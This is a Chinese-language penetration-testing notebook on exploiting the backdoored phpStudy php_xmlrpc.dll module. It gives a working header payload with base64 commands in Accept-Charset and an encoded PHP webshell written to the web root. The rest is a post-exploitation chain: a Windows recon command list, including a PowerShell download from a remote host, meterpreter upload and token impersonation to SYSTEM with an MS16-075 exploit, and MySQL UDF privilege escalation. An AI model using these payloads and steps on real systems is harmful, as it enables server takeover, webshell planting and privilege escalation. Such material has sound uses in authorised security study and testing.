2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,经过分析除了有反向连接木马之外,还可以正向执行任意php代码。
版本
phpStudy2016-php-5.2.17 -- phpStudy2016-php-5.4.45
phpStudy2018-php-5.2.17 -- phpStudy2018-php-5.4.45
具体需要根据 php_xmlrpc.dll模块是否植入后门代码
phpStudy2018-php-5.2.17
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DwuhDeaI-1677680942365)(D:\学习\笔记\tp\phpstudy\phpinfo.png)]
phpStudy2016路径:
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径:
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
查看是否存在后门代码:
'@eval'
payload:
# 将要执行的代码进行Base64编码,例如:system('whoami');
Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
# 注意删除gzip,deflate之间的空格,否则不生效
Accept-Encoding: gzip,deflate
#webshell - 在创建对象时,调用析构函数,执行代码
<?php class C01 { public function __construct($sec){ @eval("/*ZG5zknRfSk*/".$sec.""); }}new C01($_REQUEST['cmd']);?> //进行base64加密
#payload
$b="PD9waHAgY2xhc3MgQzAxIHsgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRzZWMpeyBAZXZhbCgiLypaRzV6a25SZlNrKi8iLiRzZWMuIiIpOyB9fW5ldyBDMDEoJF9SRVFVRVNUWydjbWQnXSk7Pz4=";
$a=base64_decode($b);
fputs(fopen('C:\phpStudy-shell\PHPTutorial\WWW\1.php ','w'),$a);
#base64
JGI9IlBEOXdhSEFnWTJ4aGMzTWdRekF4SUhzZ2NIVmliR2xqSUdaMWJtTjBhVzl1SUY5ZlkyOXVjM1J5ZFdOMEtDUnpaV01wZXlCQVpYWmhiQ2dpTHlwYVJ6VjZhMjVTWmxOcktpOGlMaVJ6WldNdUlpSXBPeUI5Zlc1bGR5QkRNREVvSkY5U1JWRlZSVk5VV3lkamJXUW5YU2s3UHo0PSI7CiRhPWJhc2U2NF9kZWNvZGUoJGIpOwpmcHV0cyhmb3BlbignQzpccGhwU3R1ZHktc2hlbGxcUEhQVHV0b3JpYWxcV1dXXDEucGhwICcsJ3cnKSwkYSk7
#查看文件是否存在
system('dir C:\phpStudy-shell\PHPTutorial\WWW\ /w/o/s/p');
c3lzdGVtKCdkaXIgQzpccGhwU3R1ZHktc2hlbGxcUEhQVHV0b3JpYWxcV1dXXCAgL3cvby9zL3AnKTs=
#查看文件内容是否完整
system('type C:\phpStudy-shell\PHPTutorial\WWW\1.php');
c3lzdGVtKCd0eXBlICBDOlxwaHBTdHVkeS1zaGVsbFxQSFBUdXRvcmlhbFxXV1dcMS5waHAnKTs=
#菜刀连接
一句话木马作用有限,通过菜刀等工具上传php大马 - 为后续提权
后期使用大马进行提升权限 - 最终获取服务器权限 system/administrator权限
当进行某项操作访问被拒绝时 - 就需要进行提升当前会话权限
可以通过大马进行信息收集 - 补丁筛选 - 利用系统溢出漏洞提权(MSF/特定EXP)
或者通过探针数据库类型 - 信息收集(root用户密码) - 利用特定数据库提权方式进行提权
进行信息收集 - 这里利用系统溢出漏洞 - 进行提升权限至system权限
信息收集:当前用户权限、systeminfo系统信息等等 - 如下图:
#命令 描述
systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前账户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net user \SMBPATH Pa$$w0rd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view \127.0.0.1 会话打开到当前计算机
net session 开发给其他机器
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出服务任务
net start 列出启动的服务
dir /s foo 在目录中搜索包含指定字符的项
dir /s foo == bar 同上
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印出内容
icacls "C:\Example" 列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装的补丁
(New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") 利用ps远程下载文件到本地
accesschk.exe -qwsu "Group" 修改对象(尝试Everyone,Authenticated Users和/或Users)
在收集系统信息时 - 使用systeminfo命令 - 通常使用重定向打印至文件中 - 方便看/不至于乱码/无回显等情况
通过导出的systeminfo信息 - 拿去使用wes或其它项目进行筛选补丁
GitHub - chroblert/WindowsVulnScan
GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
GitHub - vulmon/Vulmap: Vulmap Online Local Vulnerability Scanners Project
github.com
提权补丁信息对比 (shentoushi.top)
利用MSF生成反弹shell - 获取一个session - 后期进行提权漏洞利用
也可以利用特定EXP - 直接利用漏洞 - 进行提权
这时已经有了一个反弹shell会话 - 利用补丁筛选出的提权漏洞 - 进行提权 - system权限
#MSF也有自带补丁检测模块
这里先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
#检测提权模块
post/windows/gather/enum_patches
multi/recon/local_exploit_suggester
# 这个网站进行查找/或其它方式 - 相应系统版本 - 漏洞编号
https://www.shentoushi.top/av/kb.php
windows-exploit-suggester的功能就如它的名字一样,当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用。但是由于该工具先是假设一个系统存在所有的相关漏洞,然后根据补丁信息再去排除,所以就导致误报率会高一点,例如一台机器没有启用iis服务,但是可能该工具会误报存在IIS相关漏洞
可以尝试多个项目 - 得到准确的(result)结果
通过此款工具 - 进行搜索EXP 或 通过网络搜索漏洞编号 - 找到特定EXP
#利用GitHub下载ms16-075的exp提权
下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
#下载好后通过meterpreter进行上传
upload /home/hdh/potato.exe c:/ - 或使用大马进行上传
#然后执行如下命令:
use incognito:加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u:列出目标主机用户的可用令牌
#继续执行如下命令:
execute -CH -f c:/potato.exe 创建新的进程
list_tokens -u 列出目标主机的可用令牌
impersonate_token “NT AUTHORITY\SYSTEM” 假冒目标主机上的可用令牌
#查看当前用户
getuid
SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)
通过探针到数据库类型版本 - 收集到数据库信息密码 - Mysql UDF提权 - 利用数据库提升权限
#这里注意在利用MySQL - UDF提权时 - 分辨数据库版本 - 来判断dll文件导出在哪个目录
mysql<5.1 导出目录 c:/windows 或 system32
mysql=>5.1 导出到 安装目录/lib/plugin/ - 注意 mysql>5.1需要手工创建 plugin 目录或利用 NTFS 流创建
#换了一款暗月的mysql提权大马 - 报出"The MySQL server is running with the --secure-file-priv option so it cannot execute this statement" 错误
通过网上查询 - 发现是MySQL 对于导入导出的目录是有限制的,只允许指定的目录才能导入导出.此处变量值为 NULL,即没设置允许操作的目录,所以没法导出到文件。
#查看系统变量 secure_file_priv
show variables like '%secure%';
#设置导出目录路径
通过上传数据库配置文件 - my.ini - 覆盖原有配置文件 - 重启数据库服务(具体方法自己想)
这里还是用的暗月的mysql提权脚本,上面一款有时候会出现先问题,可能因为本地环境问题